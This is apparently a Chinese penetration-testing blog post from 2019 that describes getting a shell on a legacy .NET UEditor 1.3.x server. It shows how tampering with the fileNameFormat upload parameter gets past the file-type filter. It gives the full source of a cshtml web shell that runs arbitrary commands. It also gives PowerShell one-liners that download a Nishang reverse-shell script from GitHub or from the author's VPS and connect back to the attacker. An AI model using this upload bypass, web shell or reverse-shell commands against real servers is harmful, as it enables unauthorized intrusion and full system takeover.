低版本.net ueditor结合cshtml getshell

ueditor版本.net 1.3.x,不是.net 1.4.3的getshell

上传页面是这样的需要开启flash,添加照片抓包。先正常上传

改后缀提示不允许的文件类型

注意到fileNameFormat参数为时间戳一样的东西,改为1看看效果

注意到文件名(不包含后缀)变为了1随之将,fileNameFormat参数下面内容改为你想上传文件的文件名(包括后缀)filename参数改为jpg

成功上传,打开发现aspx禁止访问403

于是尝试上传cshtml,以下是内容可执行任意命令

@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;
@functions {
string ExecuteCommand(string command, string arguments = null)
{
var output = new System.Text.StringBuilder();
var process = new Process();
var startInfo = new ProcessStartInfo
{
FileName = command,
Arguments = arguments,
WorkingDirectory = HttpRuntime.AppDomainAppPath,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
process.StartInfo = startInfo;
process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
                process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.WaitForExit();
return output.ToString();
}
}
      @{
var cmd = ExecuteCommand("cmd.exe", "/c whoami");
        }
Output of the injected command (killer):
@cmd

成功上传,system权限,执行systeminfo发现为win2008使用powershell反弹shell命令为

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress xxx.240.xx.69 -port 2333

上传时被waf拦截,简单测试后发现waf拦截https(有点迷我也不知道为啥)于是把ps1放在自己web服务上使用以下命令反弹shell

powershell IEX (New-Object Net.WebClient).DownloadString('http://xxx.240.xx.69/2.ps1');Invoke-PowerShellTcp -Reverse -IPAddress xxx.240.xx.69 -port 2333

成功上传但是访问文件的时候shell没弹回来,并报错。

尝试换端口发现也一样,最后发现是我的vps是香港的这个台服务器访问不了。。。换了一台国内的vps成功收到shell,由于是一个月之前的了图没保存。

posted @ 2019-12-23 19:21  cwkiller  阅读(1607)  评论(0编辑  收藏  举报